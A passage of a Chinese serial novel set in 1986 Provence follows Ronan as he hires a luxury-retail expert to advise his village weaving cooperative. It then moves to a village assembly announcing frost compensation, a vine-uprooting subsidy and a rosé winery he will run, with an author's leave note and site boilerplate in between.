“哎呀,我现在不喜欢艾克斯了,好了,散了吧散了吧,都去工作,我也出去了。” 临近生日,伊莎贝尔的心情也跟着好起来。 一出门见到‘讨厌’的维埃里又和自己抢活干,没有直接奚落,而是用‘我放你一马’的语气说: “那你在这里接待吧,我去收拾后面的院子。” “等一下——”维埃里突然叫住了她。 伊莎贝尔回头,发现维埃里目视前方,看的根本就不是自己。 她‘切’了一声,继续返回餐厅。 “周日上班吗?”维埃里没有什么情绪起伏的问。 伊莎贝尔很想在维埃里的脑袋上狠狠敲一下。 周日是我生日你不知道吗?! 她不耐烦的说: “不上班,你来迎客吧,没人和你抢了。” 维埃里平时也会格外留意伊莎贝尔休息的日子,因为他也很喜欢做迎宾的事情。 “听说周日艾克斯有一个和足球有关的市集。”维埃里的脑袋几乎扭到了身体的另一侧。 伊莎贝尔以为自己听错了,猛的回头看过去,确认这周围只有她自己。 在被巨大喜悦包裹住的同时,装作听不懂的说: “哦,足球市集啊,挺好的。” 维埃里的两个耳朵尖都红了,又急又气的说: “没兴趣就算了,听说你没去过艾克斯,我还好心想要带你一起去。” 伊莎贝尔轻哼一声: “不用你好心,想去我会自己去!” 说罢,她就要转身离开。 “罗南给我介绍了一家艾克斯的餐厅,里面的卡利松尤其优秀,真遗憾啊,你要错过最爱吃的东西了。” “我才不稀罕,我有高级大蛋糕!” “可以.可以早点去,再早点回来,两个都能吃到。”维埃里气急败坏的说,“你到底去不去?不去我自己去了!” 背对着维埃里的伊莎贝尔终于忍不住笑出声来: “几点集合?” 维埃里死死咬住嘴唇,不让自己笑出来: “6点半,村口集合.我已经约好车了。” 第406章 专业的果然是专业的 得知布鲁诺申请来普罗旺斯工作,卢尔马兰的农夫一直在约他见面。 电话里的祝贺哪里够? 大家必须得好好喝两次啊。 但这位普罗旺斯森林局新上任的领导实在太忙了,去卢尔马兰和大家见面的时间一拖再拖,从冬季一直拖到了初春。 直至3月底,他才有机会和罗南在阿普特见上一次。 “你终于忙完了。”罗南一下车就和布鲁诺抱到了一起。 这两个巴黎佬不约而同的选择了用普罗旺斯方式打招呼。 布鲁诺拍着罗南的后背说: “哪里有忙完的时候?普罗旺斯需要改进的地方太多,不过我妻子的工作比我的工作更加重要,请假也要来见你。” 另一边,佐伊正在和布鲁诺的妻子桑德琳做贴面礼: “欢迎来到普罗旺斯。” 春节的那一次见面,佐伊和桑德琳没有什么交集,都没坐在一桌上。 今天近距离接触,佐伊发现布鲁诺的妻子气质出众、样貌优秀,身材也非常棒。 怪不得一句话就让布鲁诺放弃巴黎,来普罗旺斯工作和生活。 桑德琳轻轻的在佐伊的脸上点了三下: “听说你们前一阵子订婚了,真遗憾没有赶上。” 布鲁诺听到妻子的话,生气的对罗南说: “你这家伙,订婚居然没有邀请我?我还是从康奈尔嘴里听到的!” 罗南笑着搂住他的肩膀: “不是担心耽误你工作吗?以后见面的机会多的是,我和佐伊的婚礼可不会忘记邀请你,走吧,我们先去看看那间店铺。” 罗南已经事先给布鲁诺讲过店铺的基本情况。 但下车走去店铺的路上,桑德琳还是提出了许多问题: “你们开的是一家艺术品商店吗?” 坦白讲,一开始桑德琳对布鲁诺委托罗南给她找工作不是很理解。 他的丈夫是森林局的重要官员,而据她所知,罗南只是一个餐厅老板,那个餐厅还开在一个小村子里。 怎么会让罗南帮忙,并且还寄予厚望呢? 为了向妻子证明朋友的实力,布鲁诺用了整整一个晚上给她讲述了罗南在普罗旺斯艺术界的地位。 桑德琳对罗南的印象又变成了一位本土知名艺术家。 罗南拉着佐伊的手,笑着回头给她解释: “一开始是,不过未来我们希望把它经营成一家家具店。” “家具店?”桑德琳看了一眼丈夫布鲁诺。 你当时跟跟我说的不是家具店啊。 罗南马上帮朋友解释: “这个转变是近期才决定的,而且只是刚刚开始,我还没来及跟布鲁诺说。” “到了。”罗南指着路边的一个小商铺说,“我们进去说。” 卡福在阿普特高级地段租的商铺很小,不过他们把这里布置的挺不错,一进门迎面做了一面展示墙,可以让顾客一眼看明白里面卖的是什么东西。 桑德琳在满满一墙的编织装饰品前站了好久: “全部是纯手工的?” 罗南在她身边点头道: “是的,我组织了一个叫卢尔马兰手工艺合作社的工坊,这里卖的所有东西都是由村里的妇女纯手工编织。” “可以摸吗?”桑德琳问罗南。 罗南做了一个请的手势: “可以,当然可以。” 桑德琳摸了摸那些装饰品: “这些东西的售价在多少?” “几十到几百法郎。”罗南实事求是的说,“每个月能卖出去几百件。” 桑德琳点了点头,离开这面墙,正式进入店铺里。 “嘿,我的伙计,你们来了。”穿着西装的卡福热情的走过来迎接他们。 罗南事先打过招呼,卡福今天特地在这里等待他们。 给双方介绍认识后,罗南发现今天店铺里只有一个穿着西装的精神小伙,比之前来遇到的人少,于是问卡福: “今天人怎么这么少?” 卡福粗壮的胳膊指着外面说: “天气升温,阿普特的各种活动陆续组织起来了,他们出去碰碰运气。” 桑德琳意外的问: “你们居然还有‘销售团队’?” 罗南笑着说: “有,而且还不少呢,有30人。” 桑德琳若有所思的点了点头,突然,她余光发现了一把极富有设计感的编织椅,走到跟前问: “这是也是妇女编织出来的?” 回答她的是卡福: “这把是罗南做的,不过妇女们做出来的和这个样子没有任何区别。” 桑德琳看到了那把椅子的售价——3500法郎。 这个价格放在普罗旺斯绝对算很高了。 她又听到卡福和罗南闲聊道: “前天有个小姑娘想要20000法郎买你做的这把样椅,我说你开什么玩笑.罗南亲自做的东西,没有50000法郎想都不要想。” “我做的这些样椅先不要卖了,留着吧,可能以后有用。”罗南语气平静的说。 人工培育松露的预算成本提升了,即使有新的资方加入,罗南也是那个出大头的。 他又想要买地种葡萄,普罗旺斯的地价现在太贵了。 这样算下来,布兰科给罗南开酒庄的钱也不富裕,因为他还有许多设备没采购。 花钱的地方太多,但松露采摘季结束后罗南的主要收入只有一个餐厅。 3月马上结束,又快到每个月算帐的日子,这一次算完账,罗南要好好想想如何多赚点钱。 卡福没有罗南想的那么复杂,只是觉得罗南亲手做的东西不该这么轻易的卖掉: “是,没打算卖,最后那姑娘订走了一把普通的,这款卖的不错,半个多月卖出去4把。” 听到罗南和卡福的对话,桑德琳的视线离开那把端详了许久、她很喜欢的编织椅,看向商铺里其他的椅子款式,愕然发现.居然每一把都很有特色,也有很有设计感。 她只有一个想法——这些椅子放在普罗旺斯太浪费了,应该送去巴黎。 桑德琳和布鲁诺像是买东西的顾客一样,从店铺的门口仔仔细细的看到最里面,没有放过一件东西。 见这两个人走远了,卡福小声问罗南: “这女的能帮上咱们的忙?” 罗南不确定的说: “她的工作经验肯定能帮上我们的忙,就是不确定她想不想帮.万一人家看不上咱们这生意呢?” 卡福和巴蒂一样,同样认为目前的编织团队缺一个专业的人士帮他们梳理脉络。 罗南不指望编织赚钱,这只是他众多事业版图其中的一小部分,赚的多了少了他不在乎,但卡福和他的伙计们可是靠这个吃饭的。 “如果她不愿意来,我就花钱请个人做顾问,至少帮我培训一下人,我只懂给大家打气加油,但我不专业啊。” 店铺的另一端。 布鲁诺和妻子桑德琳也在小声交流着,只不过是布鲁诺的‘独角戏’。 “这间店铺太小了是不是?和你原先在巴黎的工作差的有点多.” “你是不是不喜欢这里卖的东西?” “没关系亲爱的,我们可以慢慢找,或者拿出一些积蓄,给你开个店铺!” 桑德琳进入店铺后,表情太过严肃,还沉默不语,布鲁诺猜妻子是不太满意这个环境。 桑德琳觉得丈夫太唠叨了,不走心的敷衍: “自己开店铺卖什么?” 布鲁诺宠爱的说: “卖任何你喜欢的东西!” 桑德琳摇了两下脑袋: “但你能找到像这家店这么有特色、这么具有优势的货品吗?” “啊?”布鲁诺愣住了。 桑德琳终于看完最后一件单品,走回到门口问罗南等人: “我们找个地方聊聊?” 卡福指着样椅,大大咧咧的说: “就在这里聊吧,我们平时都是坐在这里聊事情。” 桑德琳严肃的说: “如果想让生意变得好起来就先从改掉这个习惯开始吧,无论卖的是什么高端货品,其本质是都是‘特权阶层’的标识,如果员工与顾客都可以使用,会削弱顾客的独占心理。” 编织店对面就有一家咖啡厅。 桑德琳的‘严肃’让卡福连酒都不敢喝了,点了一杯咖啡。 谁知道上班喝酒是不是也会影响生意? 桑德琳觉得自己刚刚职业病发作,说的有些过了,坐下后首先聊起了一些很浮于表面的东西。 例如地址选的不错、小伙子们的精神面貌很好等等,不敢再提一个意见。 罗南主动给了她一个‘畅所欲言’的机会: “听布鲁诺说,你在巴黎一直卖高端奢侈品,不瞒你说我们未来也想走高端家具的路线,可以给点意见吗?” “对对对,提提意见,不要总是夸啊。”卡福虚心的说。 桑德琳笑着说: “但我真的觉得你们选了一个非常好的品类,尤其是在普罗旺斯,事实上来之前我做了很多功课,也了解了不少普罗旺斯当地手工品牌的发展路径,发现他们有一个很大的局限性——那就是太依赖季节了。” 她看着大家说: “例如做薰衣草手工的,他们一年中只有三个月可以卖,你们的编织不仅没有季节性,也不依赖旅游季,因为装修在一年四季中都在进行,而且还赶上了普罗旺斯‘移民潮’,就比如我们。” 罗南没想到桑德琳还做了功课,微微前倾身体,仔细听她接下来的话。 “还有一个非常大的优势是,你们卖的东西是天然的‘设计师款式’,因为全部是罗南设计的。”桑德琳真诚的看向佐伊,“这就导致产品溢价性高,不易被工业化商品取代,即使未来工艺被人模仿和抄袭,也永远无法撼动你们的根基,因为他们抄不走罗南。” 卡福兴奋的拿起咖啡杯。 专业的果然是专业的。 这些大道理他只是朦朦胧胧的有那么一个概念,人家三两句就讲明白了。 没错,我们的生意是无法被取代的! 桑德琳突然看向卡福: “你们和普罗旺斯其他工坊还有一点不同,我了解到许多普罗旺斯手工工坊没有销售团队,依靠‘自然流量‘与’信任经济’经营,这种模式当然很浪漫和质朴,但严重限制了它们的发展,所有的成功奢侈品无一例外要依赖优秀的商业运营.虽然现在欠缺的还很多,但至少一开始就走在对的路上。” 最后,桑德琳看向编织生意的核心人物罗南: “我刚刚接触你们这个生意,但我有一种感觉,可能是女人的第六感吧我认为它可以做到商业与艺术的共赢。” 第407章 请幸运女神继续保佑我! 桑德琳的专业不止体现在她的眼光独到,还有她丰富的商业经验。 不到半个小时,她便提出了七八种可以有效提升销售额的方式。 例如待售模式,这里的待售不止是艺术品商店,还有酒店等一切可以放入编织元素的场景。 又例如继续扩充‘艺术家款式’的范围,罗南可以号召普罗旺斯其他艺术家来跨界,这是他的天然优势。 她还提出了一套更加详细的会员制度。 卡福之前使用的方式太落后了,效率也太低了,没有办法让顾客感受到‘优越感’。 就连罗南一直‘津津乐道’的一对一服务,都被桑德琳评价为不够极致: “一对一不仅仅针对服务员,奢侈品牌的设计师和首席裁缝都可以一对一服务顾客,只要花的钱足够多,甚至可以让罗南单独设计商品,全世界只有那一件。” 毫不夸张的说,桑德琳的一个个建议让罗南觉得之前自己太忽视编织这门生意了。 如果运营的好,每个月的收入绝对不会只是那3万多,上限很高。 这让经济压力颇大的罗南非常惊喜! 不过说完优势,桑德琳又提出了一个个无法忽视的问题: “首先是店太小了,这么小的店铺完全无法让顾客感受到自己的尊贵性,如果未来vip制度建立起来,要营造出整栋楼只属于一位顾客的‘帝王感’。” “其次是链路太短,手工艺最好开放工坊给顾客参观,慢慢渗透‘工匠即艺术家’的概念,提升品牌价值,对大众而言,用‘亲眼所见’说服他们为高价买单、对富商而言,用‘独家访问’满足其阶级认同。” 又提出了几个问题后,桑德琳犹豫的说: “还有一个问题,我觉得你们的合作模式有很大的问题,一旦发展顺利,下一步要做的是扩充门店,离开普罗旺斯,打开更多的区域.卡福要带着他的伙计们全国开店吗?” 桑德琳觉得这个问题敏感,卡福倒是挺坦然的。 他和罗南一向是遇到问题解决问题,没什么不能说的: “只要能发展的更好,让大伙赚更多的钱,我不介意换个合作模式。” 他顶着给兄弟们发工资的巨大压力,日子也很难熬.如果背后能有颗大树为什么要拒绝呢? 卡福和桑德琳同时看向罗南,寻求他的意见。 坐拥卢尔马兰手工艺合作社、既是设计师又是招牌的罗南毫无疑问是这门生意的‘掌门人’。 缺了谁都可以,唯独不可以缺了他。 罗南拥有设置‘游戏规则’的权利。 坦白讲,这个问题罗南也曾经想过很多次。 效仿那些奢侈品品牌和高端家具的发家经验,最好的方式是由他来给大家发工资。 卡福这些销售端的人为固定薪资+销售提成,妇女们是固定工资+计件提成。 但这样一来,全部的压力都来到了罗南身上。 按照目前的编织生意规模而言,赌注成分还是太大了。 而且罗南也不确定编织生意在普罗旺斯究竟能做成什么样子。 一个不留神就会从什么也不干白拿几万法郎变成干了许许多多,每个月倒贴几万法郎的状态。 不过其他人的工资他暂时不敢承担,承担一个人还是可以的。 罗南看向桑德琳: “我们这门生意刚起步,从开始做到现在不过半年时间,肯定有许多要调整的地方,不过要慢慢来编织生意短时间走不出普罗旺斯,可以再继续按照这个模式运营几个月,这期间我想聘请你做顾问,帮助我们改进各种问题。” 无论桑德琳同意与否,罗南都决定未来几个月多放一些精力在编织生意上,并做出运营策略的升级。 一是能多赚些钱,二来只要看到编织家具在普罗旺斯市场的潜力,他会马上行动起来,调整运营模式,把‘卢尔马兰手工艺合作社’做为一个整体来运营。 只要能赚到更多钱,罗南相信卡福也会同意的,现在给兄弟们发工资的人是他说不定卡福还盼着罗南赶紧做出合作模式的改变呢。 桑德琳能加入那就更好了,变化一定会更加显著。 现在罗南缺的就是这种人才啊! 桑德琳脸上的笑容已经藏不住了。 罗南和卡福的合作模式和她没关系,她只是担心这个模式会影响这门生意未来的发展,因为她对这个工作非常非常有信心! 她甚至已经开始幻想,巴黎的同事们听到她在普罗旺斯‘运营’出一家高端家具品牌的羡慕样子了。 正要答应下来,旁边的丈夫布鲁诺突然问罗南: “那桑德琳未来的工作地点在哪里?” 这个问题决定他们把房子买在哪里。 罗南笑着说: “没有固定的工作地点,她甚至可以‘移动办公’,不过未来卢尔马兰会是编织生意非常关键的区域,你们买房子的时候考虑到卢尔马兰的时间和距离吧。” “太好了!”布鲁诺开心的和妻子抱了一下,“我们可以买那个房子了!” “你们已经看好房子了?”罗南意外的问。 布鲁诺笑着说: “为了让家人尽快安顿下来,在他们到来之前我就开始看房子的信息,我的同事们给了许多建议,其中就有卢尔马兰,他们说那里未来有可能是吕贝隆升值价值最高的区域,我们最喜欢的那栋房子就在卢尔马兰,我马上联系中介去看房子。” 罗南欣喜的点头,他想起来了。 农夫们打电话给布鲁诺,欢迎他留在普罗旺斯时,布鲁诺还问罗南,卢尔马兰最近发生了什么、为什么同事们让他去看那里的房子,是罗南给布鲁诺科普卢尔马兰房价提高原因的。 桑德琳立即进入了‘工作模式’,看着老板罗南说: “既然这样,我的第一个工作就是推动‘工坊参观’的项目落地,旅游季马上要开始了,这可以提供一份额外的收入。” 最终,罗南以7000法郎/月的价格聘请桑德琳成为卢尔马兰手工艺合作社的商业顾问。 这个价格在普罗旺斯绝对算高薪,但罗南相信桑德琳带给他带来的回报是十倍甚至是百倍的。 有了她的加入,未来编织生意甚至有可能会超过餐厅成为罗南经济来源的主力。 罗南现在是桑德琳的老板,还给她开了一个高薪,担心布鲁诺‘误会’,这一次在阿普特没有提宿主树苗和人工培育松露的事情。 未来布鲁诺和妻子很有可能会搬去卢尔马兰生活,即使不是卢尔马兰,也一定是距离那里不远的地方,见面的机会很多,不急于一时。 而且费尔南教授也需要很长的时间去确认罗南所说的建议,时间足够。 回卢尔马兰的路上,佐伊忍不住感叹: “以前卢尔马兰只有城堡、老教堂和那些喷泉,后来多了一条商业街,现在歌迪亚申请下来了一栋房子做特殊艺术市集,马上就要装修,桑德琳又要做编织工艺参观的项目.还有那些新开的画廊、工坊和艺术品商店,今年旅游季的卢尔马兰太热闹了。” 去年秋天,罗南餐厅开业时,那些等位的客人还在抱怨——卢尔马兰可以游玩的地方太少了,他们都没有地方消磨时间。 现在好了,可以体验的项目多到他们玩不过来! 罗南笑着说: “何止是这些,还有围绕葡萄园的游玩项目、酿酒参观项目、人工培育松露实验林的参观项目和马上要开业的粉红酒博物馆” “真不敢相信卢尔马兰变成这个样子了。”土生土长的卢尔马兰人佐伊发出了‘不敢置信’的惊叹。 “这才只是第一步,未来的变化更多。”罗南挑着眉毛说。 新加入的强援不止一个桑德琳,还有朱莉特。 这位经验老道的政府官员一定可以帮助卢尔马申请到一笔又一笔新的资助。 就比如她说的冬天松露市集、松露艺术节等等。 “这都是你的功劳。”佐伊奖励似的摸了摸‘幕后推手’罗南的脸,“我绝对算是‘见多识广’的人了,我都能震惊成这个样子,你说明天布兰科在全体大会上宣布完消息,让大家看清现在的卢尔马兰是一副怎样的新模样后.村民们得震惊成什么样子啊?” 罗南一把抓住佐伊的手,狠狠亲了两下: “请幸运女神继续保佑我,保佑明天一切顺利,让拔除计划和新葡萄栽种在卢尔马兰顺利的推行下去!” 请假条 今天临时出了点事情,中午出去到现在才回来,刚把狗遛了,人还没吃饭。 有一些存稿,但不知道12点前能不能写到4000字。 如果写到我就发出来,把这章请假条删了。 还有,书名暂时不改了(感觉请假条都快变成书名进度报告了)。 《1986:我的普罗旺斯幸福生活》请假条 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 《1986:我的普罗旺斯幸福生活》爱曲小说全文字更新,牢记网址: 第408章 我们的家乡已大变了样! 卢尔马兰上一次组织全体性质的大会是在去年9月。 那一次葡萄保卫战结束,布兰科宣布卢尔马兰的还愿盛典改到秋季举办,让整个卢尔马兰沐浴在丰收的喜悦和节日狂欢之中。 时隔大半年,卢尔马兰又一次举行全体大会,从几天前村民们就开始兴奋起来,这种状态一直持续到大会开始之前。 “一定是有好消息宣布,说不定卢尔马兰又要举办什么大型活动了。” “怎么可能次次都是宣布好消息.我看你就是想借机名正言顺的喝酒!” “喝酒需要理由?老子现在赚到钱了,喝酒不是理所当然的事,科曼,给我来一杯粉红酒!” “什么,这里没有粉红酒?上帝,卢尔马兰怎么会存在没有粉红酒的餐厅或者酒馆啊?” 村中心老教堂门口的空地无法汇集全村所有人,开会时只需待在老教堂门口的喇叭范围内即可。 上一次全体大会,罗南选择的开会地点是科曼的餐厅,那次开会全程餐厅里只有罗南和他父母一桌客人。 这一次开全体大会,这间位置极好、但平时根本没客人会来的餐厅里坐满了村民,口袋里的钱富裕了,大伙儿都想让自己舒服点。 能坐着,谁想在外面站着啊? 但突然涌入的客人打了科曼和他的妻子一个措手不及.做茴香酒的冰块都供应不上了。 “啤酒不冰,冰块也没有.科曼,你这里还有什么?”皮埃尔抗议的嚷嚷。 虽然忙碌了起来,但科曼依然烟不离手。 他用夹着香烟的手指了一下角落里的葡萄酒箱: “莫力酿酒合作社的葡萄酒,要多少有多少。” 虽然莫力去年升级成了酒庄,但卢尔马兰人还是习惯称呼它为酿酒合作舍,因为酒庄距离大家的生活太远了。 质朴的村民都是喝着酿酒合作社的便宜餐酒一点点长大的。 角落里传来亨利气愤的嚎叫: “莫力是个‘叛徒’!它背弃了和卢尔马兰的约定,即使未来它降价了我也不会再喝它!拿走拿走,给我换别的。” 科曼一点都没惯着亨利: “我这里没有其他牌子的葡萄酒,想喝别的酒去其他地方。” 亨利生气的砸了两下桌子: “该死的,为什么老教堂附近只有你一家餐厅?如果把罗南先生的餐厅开到这里,一定会更加受欢迎,而且你这里居然没有粉红酒?这是件多么可耻的事情啊!” 亨利不喝粉红酒,但他听到其他人点粉红酒时被告知没有粉红酒供应。 这里是卢尔马兰! 怎么可以没有罗南先生最爱的粉红酒呢? “那你去问莫力啊,问他为什么不酿粉红酒,虽然涨价了,但它依然是进价最便宜的酒源。”科莫用下巴指了一个方向,“还有,罗南都没挑我这里没有粉红酒,你嚷嚷个什么?” 冯珍巡视了一圈座无虚席的餐厅,眉飞色舞的对老公和儿子说: “看出来大伙赚到钱了!” 去年开会他们包了场,今天晚来一些都要没有座位了。 罗天海喝了一口常温的啤酒,不是很满意的说: “都不用看今天的情况,看咱们餐厅的经营情况就能知道卢尔马兰村民的生活水平好起来了,哪天来吃饭的人少?” 旅行季还没开始,但餐厅的利润已经可以达到10万法郎/月。 这其中当然有来自普罗旺斯其他地区客人的贡献,但村民是餐厅的‘基本盘’,即使再一次出现极端天气,他们也可以平稳的渡过,不会像去年那样成天‘愁眉苦脸’。 罗南从口袋里拿出一把自带的瓜子和父母分享: “这才哪到哪,只是个开始罢了。” 冯珍抓了几颗放到手心里,又嫌弃的看了一眼面前的酒杯: “这餐厅位置确实好,但酒太差了。” 村民们是在罗南的带动下富裕起来的,论生活水平,罗南家绝对是村里最高的那一批人。 冯珍跟着儿子吃好的、喝好的,好久没喝过35法郎一瓶的餐酒了。 她嗑了一颗瓜子: “这个天气、这个氛围,来瓶冰镇的粉红酒多好啊,这个老板真不会做生意。” 在罗南的带动下,卢尔马兰村的粉红酒潮流已经从艺术家范围扩散到普通村民。 只是一会的功夫,周围就有好几个人‘哀嚎’这里为什么没有粉红酒了。 罗南笑着安慰母亲: “别着急,下次开会你就能喝上了。” 下午2点整,大喇叭里准时出现了布兰科慈祥又温和的声音。 不过他刚讲了没两句,就让整个村子持续了好几天的兴奋愉悦氛围变紧张了。 “今年一月份,卢尔马兰经历了百年难得一遇的巨大自然灾害,虽然我们的兄弟姐妹都行动了起来,但相信有一部分村民已经知道我们的农田在寒潮的影响下遭受到了巨大的损失。” 一块乌云不知不觉飘到了卢尔马兰上空。 卢尔马兰附近的农田不只有葡萄,还有樱桃和杏等其他农作物。 虽然种葡萄的农夫们在皮埃尔的带领下做了许多抗寒手段,但在葡萄出土前,每个人都是提心吊胆的。 就连始终骂骂咧咧的亨利,听到这里都闭上嘴,大口大口的抽烟。 大喇叭里的声音继续说着: “但是我很欣慰、也很自豪,村民们这一次没有像1956年一样被击垮,大家的生活没有被改变,而且变得更加积极和乐观了。” 科莫的餐厅里开始出现小声的议论和抱怨,大家的负面情绪和积压了两个月之久的怒火一下子被点燃。 罗南的四周出现了许许多多的‘亨利’,有的抱怨普罗旺斯的糟糕气象系统,有的抱怨政府没有提前安排,还有的抱怨起自己可怜的人生。 “还好罗南教会了我们编织,要不然这日子要怎么过啊?” “怎么过?多编织点花篮赚钱呗,没有三四年那些葡萄长不出来的。” “该死的,散了会我就去找巴蒂,无论如何让他教会我编织椅子!” 皮埃尔如释重负的吐出一口大气。 谢天谢地,他噩梦中的情形没有再次降临卢尔马兰。 他感激的看向罗南,发现罗南也在看他。 两个人相视一笑,里面满含默契。 布兰科像是有‘千里耳’一样,给大家留足情绪发泄窗口后才继续说道: “但是今天,我不是来告诉你们‘要忍耐’的,我是来告诉你们——你们不会独自面对这一切,政府承诺不会忽视任何一个人,也不会放弃任何一块田!下面我将宣读‘灾害补偿条款’的具体细节,请大家认真记住应对作物的赔偿条件,针对葡萄种植者,会根据冻死、冻伤株过去三年的同期平均售价和重置成本给予40%的经济补偿,每公顷可最高可申请5000法郎的补偿款,判定标准如下——” 餐厅里的喧哗声戛然而止。 村民们不敢置信的瞪大眼睛。 政府要和我们共同承担寒潮带来的经济损失? “罗南先生!”亨利紧张的站起来问,“这是真的吗?政府会给我们资金,让我们重新栽种?” 罗南笑着做了一个嘘的手势,又指了指老教堂的方向: “认真听,后面还有呢。” 布兰科讲完不同作物的直接经济补偿后,继续说道: “受灾农田可免缴本年度的土地税,农业收入所得税可分摊至未来3年计税,降低大家的税负压力.所有灾害补偿赔付款预计在6个月之内发放完毕,发放顺序按照提交的受灾资料顺序安排。” “我的上帝,连税收政策都改了!政府真的行动起来了!” “这笔钱足够我未来一年的生活!” “皮埃尔,你有那么多地,是不是能拿到2万多法郎?” 终于卸下心理负担的皮埃尔效仿着罗南的样子,做了一个噤声的手势: “瞧你们那没出息的样子,这点钱就满足了?快继续听吧!” 有农夫期待的问他: “你知道布兰科接下来要说什么?” 皮埃尔笑着撇了撇嘴,胸有成竹的说: “当然,我很早之前就知道了。” 罗南已经事先和他通过气,今天布兰科除了说灾害补偿条款,还会号召大家拔掉坏死的老藤,拿到农业部另外一部分补偿。 “是什么?快点说啊,你这小子可真行!大家讨论了那么多天,你愣是一点信息没有透露出来!”几个村民立即把皮埃尔围住。 连老板科曼都凑过来了。 皮埃尔装模作样的拿起酒杯: “急什么,布兰科这不正在说吗?” 布兰科的声音依旧在卢尔马兰上空回荡: “相信一定有村民会好奇,政府怎么可能拿的出这么多赔偿款?我们小小的卢尔马兰不是‘穷乡僻壤’吗?兄弟姐妹们,我恳请大家再给我一些时间,让我来给大家介绍一下卢尔马兰,介绍一下我们的卢尔马兰现在最真实的样子。” 村民们骂了皮埃尔几句“你真不够意思”后把他放了,坐回到原来的位置继续听广播。 这一年多,大家或多或少的都感觉出卢尔马兰发生了改变,而且是翻天覆地的改变,但是他们总结不出来,也概括不出来。 现在终于有人能给他们讲一讲家乡最真实的样子了。 “在过去的三个月中,卢尔马兰共接待了来自世界各地的5000多名游客、搬来了67位新的家人、新建营业性质商铺13个,带动地方税收提升了近200%” 一组组数字钻入大家的耳中,虽然很多人听不懂这其中的具体意义,但他们能感受到——卢尔马兰变‘厉害’了! “我们接待了来自沃克吕兹省旅游局、农业部、工商联盟等8个大大小小的部门考察,并得到了各个部门最大限度的扶持!我可以非常肯定的告诉大家,今年我们得到的扶持是吕贝隆全境最多的一个村庄!”布兰科的声音变得激昂起来。 要来了,要来了! 皮埃尔期待的侧过脑袋,想要观察大伙听到‘拔除计划’时的表情。 拿到第一笔补偿就这么开心了,再补贴一笔你们一定要‘疯’了吧? “但是卢尔马兰的潜力远不止如此——”布兰科的声音突然激动起来,“未来卢尔马兰将是普罗旺斯编织手工艺的中心,更多艺术家的摇篮,我们将兴办普罗旺斯第一所以粉红酒为主题的博物馆,普罗旺斯最大的粉红酒庄斯特斯加也将落户于这里!” 几十个脑袋唰的一下看向皮埃尔,眼神里满是震惊。 胸有成竹的皮埃尔震惊的看向罗南! 有酒庄要落户卢尔马兰了? 还是粉红酒的?? 第409章 我来讲两句 “怎么会是粉红酒庄?” 这是无数村民心中涌出的第一个想法。 酒庄是经济升级和资本认可的标志。 普罗旺斯境内所有酒庄都坐落于经济相对发达的区域,例如教皇新堡,又例如普罗旺斯丘。 如果说布兰科之前说的那些冰冷的数字无法让村民直观的理解卢尔马兰变得多么大不一样了,那么在卢尔马兰出现一个酒庄可以最直观的让村民理解——如今的卢尔马兰已经是和戈尔德、梅纳村、博尼约和鲁西永一样的村子。 我们卢尔马兰这么强大的了吗? 但这个酒庄.为什么是酿制粉红酒的? 粉红酒在普罗旺斯是什么地位大家再清楚不过。 这不是‘自掘坟墓’吗? 无数双眼睛看向皮埃尔,希望让他给一个解释。 但皮埃尔也不知道啊. 他以为自己知道了全部全体大会的内容,结果发现他缺失了一个最最重要的信息。 “罗南呢?”皮埃尔四下寻找起来,原先罗南坐的那个位置,只有他的父母和一桌子瓜子皮了。 他找到了罗南的父亲罗天海: “罗南刚刚还在这里,现在去哪了?” 罗天海指了一个方向: “罗南说,布兰科讲的太‘文邹邹’了,他要过去看看。” 粉红酒酒庄引起的风波没有持续太久。 因为布兰科接下来讲的事情,让村民们没有时间和精力去顾及其他东西了。 在讲了许许多多卢尔马兰未来的样子后,布兰科再次把话题转回了农业信息。 “为了加速追赶吕贝隆其他村庄的发展脚步,也为了让卢尔马兰顺应时代发展的潮流,政府采纳了农业部和欧洲共同体的建议,做为试验点,积极配合大区进行葡萄品种和葡萄酒的产业升级和调整,对主动拔除佳丽酿、神索、白玉霓、克莱雷等葡萄品种的农夫给予每公顷3000-5000法郎的补贴,具体金额取决于树龄和品种,详细规则如下——” 整个卢尔马兰在这一刻‘沸腾’了。 主动拔掉葡萄那我们未来干什么? 政府是不是疯了? 皮埃尔站起来大声喊道: “冷静一点,你们先仔细听听规则,这部分的补偿可以和刚刚的灾害补偿计划并行可以挽回大家更多的经济损失!” 但一次性太多的信息灌入,已经让大家的情绪无法安静,没有受过太多教育的他们缺失了正常分析信息的能力。 亨利不顾罗南多次的叮嘱,拉起皮埃尔的衣领: “怪不得你瞒着我们不说,你居然和政府‘穿一条裤子’让我们放弃自己的土地,你和那些把农田改造成度假别墅和高尔夫球场的家伙有什么区别?” 皮埃尔挣脱了亨利的桎梏: “我只是想让大家更好。” 亨利再次抓住皮埃尔的衣领: “土地和葡萄都没了,我们靠什么生存?怎么可能变得越来越好?” “你们先别吵了,布兰科还在讲事情。” “别打架啊,先认真听!” 村民们纷纷起身,想要分开亨利和皮埃尔,但亨利这个家伙已经‘疯了’。 就在科莫的酒馆里即将爆发暴力事件时,大喇叭里突然传出了刺耳的嗡鸣。 随即一个清澈又温柔的声音小心翼翼的“喂”了几声。 下一秒,那道明显带着笑意的声音自言自语了一句: “原来是这样用啊刚刚距离太近了。” 亨利像被电流电到似的,马上把皮埃尔放了。 是罗南先生! 罗南清澈但清晰的声音,不疾不徐的钻入了每一个老教堂范围内村民的耳中: “大家好,我是罗南,我知道不少人并不在乎卢尔马兰村出现了多少商铺,又接待了多少政府部门,认为那距离自己太远了,担心大家误会政府的意图,我过来提醒两句,但布兰科这个家伙太‘懒’了,让我自己说,那我就说两句吧。” 村民们‘正襟危坐’,不自觉的把身子移动向了老教堂的方向。 “无论是政府的灾害补偿款,还是配合农业部推行‘拔除计划’,亦或者是开粉红酒庄都只有一个目的——那就是带着大家赚钱,赚更多更多的钱。 葡萄藤冻死了、冻伤了,不要怕,政府和你们一起承担,拔掉了老藤也不要怕,我们会带着大家种新的葡萄品种,没有了土地更不要害怕,因为你们可以得到其他工作机会,大家可能没有意识到我们的卢尔马兰已经强大到可以让每一个人吃饱饭的地步了。 无论你是现在失业的,还是即将要失业的村民,都可以在大会结束后找到我,那些艺术品商铺会接纳你们,那些画廊会接纳你们,斯特斯加会接纳你们,我可以毫不夸张的说,卢尔马兰未来会有许多像编织一样可以给大家带来财富的机会,就比如粉红酒——” 在一个小小的停顿后,罗南语气平静的说: “因为斯特斯加将会由我来经营。” 罗南说的平静,但所有听到这句话的村民心中掀起了巨大波澜。 